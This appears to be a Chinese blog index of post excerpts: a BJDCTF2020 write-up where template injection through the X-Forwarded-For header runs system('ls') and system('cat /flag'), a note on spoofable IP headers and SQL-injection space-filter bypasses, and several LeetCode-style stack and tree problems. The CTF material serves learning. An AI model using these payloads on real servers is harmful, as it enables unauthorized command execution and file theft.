[BJDCTF2020]The mystery of ip
提示IP 猜测用XFF,伪造XFF头看看情况 用X-Forwarded-For: {{7*7}}有回显 构造payload: X-Forwarded-For: {{system("ls")}} X-Forwarded-For: {{system("cat /flag")}}
Web
常见的几个HTTP IP头 x-forwarded-for x-remote-IP x-originating-IP x-remote-ip x-remote-addr x-client-ip x-client-IP Client-ip X-Real-ip SQL Injection SQL绕过 空格被过滤 %20 %09 %0a %0b %0c …
有多少小于当前数字的数字
题目 给你一个数组 nums,对于其中每个元素 nums[i],请你统计数组中比它小的所有数字的数目。 换而言之,对于每个 nums[i] 你必须计算出有效的 j 的数量,其中 j 满足 j != i 且 nums[j] < nums[i] 。 以数组形式返回答案。 示例 输入:nums = [8,1,2,2,3] 输出:[4,0,1,1,3…
接雨水
题目 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 思考 建立一个栈,栈为空时,如果数大于0就push,并且保存第一个数,遍历,如果小于第一个数的就push,大于的话就开始pop,循环完成后可能会遇到栈底的数最大,栈不为空,就还需要进行一个循环,反过来计算直到栈为空 代码 import java…
验证栈序列
题目 给定 pushed 和 popped 两个序列,每个序列中的 值都不重复,只有当它们可能是在最初空栈上进行的推入 push 和弹出 pop 操作序列的结果时,返回 true;否则,返回 false 。 示例 输入:pushed = [1,2,3,4,5], popped = [4,5,3,2,1] 输出:true 解释:我们可以按以下顺序执行…
二叉树的前、中、后序遍历
代码 /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode(int x) { val = x; } * } */ //前序 class Solution {…
二叉搜索树迭代器
题目 实现一个二叉搜索树迭代器。你将使用二叉搜索树的根节点初始化迭代器。 调用 next() 将返回二叉搜索树中的下一个最小的数。 示例 思考 因为是搜索树,左边元素始终比右边元素小,使用中序迭代,把元素从小到大放入队列中。 代码 /** * Definition for a binary tree node. * public class Tre…
最小栈
题目 设计一个支持 push ,pop ,top 操作,并能在常数时间内检索到最小元素的栈。 1.push(x) —— 将元素 x 推入栈中。 2.pop() —— 删除栈顶的元素。 3.top() —— 获取栈顶元素。 4.getMin() —— 检索栈中的最小元素。 示例 输入: ["MinStack","push","push","push"…
有效的括号
题目 给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效。 有效字符串需满足: 1.左括号必须用相同类型的右括号闭合。 2.左括号必须以正确的顺序闭合。 示例 输入: "()" 输出: true 思考 模拟栈遇到左括号就压进栈,与取出的括号匹配的就pop,与取出的括号不匹配就返回false,如果栈中的左括号…
滑动窗口的最大值
题目 给定一个数组 nums 和滑动窗口的大小 k,请找出所有滑动窗口里的最大值。 示例 输入: nums = [1,3,-1,-3,5,3,6,7], 和 k = 3 输出: [3,3,5,5,6,7] 解释: 滑动窗口的位置 最大值 [1 3 -1] -3 5 3 6 7 3 1 [3 -1 -3] 5 3 6 7 3 1 3 [-1 -3 5…